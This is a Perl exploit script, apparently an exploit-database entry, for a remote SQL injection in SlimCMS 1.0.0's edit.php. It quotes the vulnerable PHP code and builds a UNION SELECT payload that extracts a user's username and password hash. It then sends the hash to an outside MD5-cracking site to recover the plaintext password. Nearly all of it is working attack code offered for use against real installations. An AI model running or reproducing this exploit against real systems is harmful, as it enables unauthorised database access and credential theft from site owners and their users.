slimcms-sql.txt

`#!/usr/bin/perl  
  
=starting  
  
--------------------------------------------------------  
SlimCMS <= 1.0.0 (edit.php) Remote SQL Injection Exploit  
--------------------------------------------------------  
by athos - staker[at]hotmail[dot]it  
  
download on sourceforge   
  
  
File edit.php  
  
111. if ($password == md5($_POST['password']))  
112. {  
113. if (strlen($_POST['cmsText']) > 2) {  
114. $query = "UPDATE pages SET title = '".$_POST['pageTitle']."', content = '".  
strip_tags(stripslashes($_POST['cmsText']),$allowedTags)."' WHERE ID = ".$_GET['pageID'];  
115. mysql_query($query);  
116. //$successfulyUpdated  
117. responseText = $successfulyUpdated;  
118. }  
119.  
120. if (strlen($_GET['pageID']) > 0) {  
121. $query = "SELECT * FROM pages WHERE ID = ".$_GET['pageID'];  
122. $result = mysql_query($query);  
123.  
124.   
125. while($row = mysql_fetch_array($result)) {  
126. $pageTitle = $row['title'];  
127. $pageContent = $row['content'];  
128. }  
129. }  
  
NOTE: Works Regardless PHP.ini Settings!  
  
  
you must be logged..  
  
Usage: perl "exploit.pl" [HOST] [username:password] [USER_ID]  
  
Output: Username: athos  
Password: 27e43424d53719a645ae7cca038b45be  
  
  
  
=cut  
  
use strict;  
use LWP::UserAgent;  
use LWP::Simple;  
  
my $match = q{Editing page "(.+?)"};  
my $http = new LWP::UserAgent;   
my $post = undef;  
my @login = ();  
my @out = ();  
  
my ($host,$auth,$myid) = @ARGV;  
  
unless($host =~ /http:\/\/(.+?)$/i && $auth && $myid)  
{  
print STDOUT "Usage: perl $0 [host/path] [username:password] [id]\r\n";   
exit;  
}   
  
$host .= "/edit.php?pageID=-1 union select 1,concat(username,0x3a,password),3,4 from users where id=$myid#";  
  
@login = split(':',$auth);  
  
$post = $http->post($host,[   
username => $login[0],  
password => $login[1],  
]);  
  
  
if($post->is_success && $post->content =~ $match)   
{  
@out = split(':',$1);  
  
if($#out => 2)  
{  
my $cracked = search_MD5($out[1]);  
  
print STDOUT "Username: $out[0]\r\n";  
print STDOUT "Password: $out[1] -> $cracked\r\n";  
exit;   
}  
else  
{  
print STDOUT "Exploit Failed!\r\n";  
print STDOUT "Login incorrect or site not vulnerable\\available!\r\n";  
exit;  
}  
}  
  
  
sub search_MD5  
{  
my $hash = shift @_;  
my $cont = undef;  
  
$cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);  
  
if(length($hash) => 32 && !is_error($cont))  
{  
return $cont;  
}  
else  
{  
return exit;  
}  
}   
  
__END__  
  
`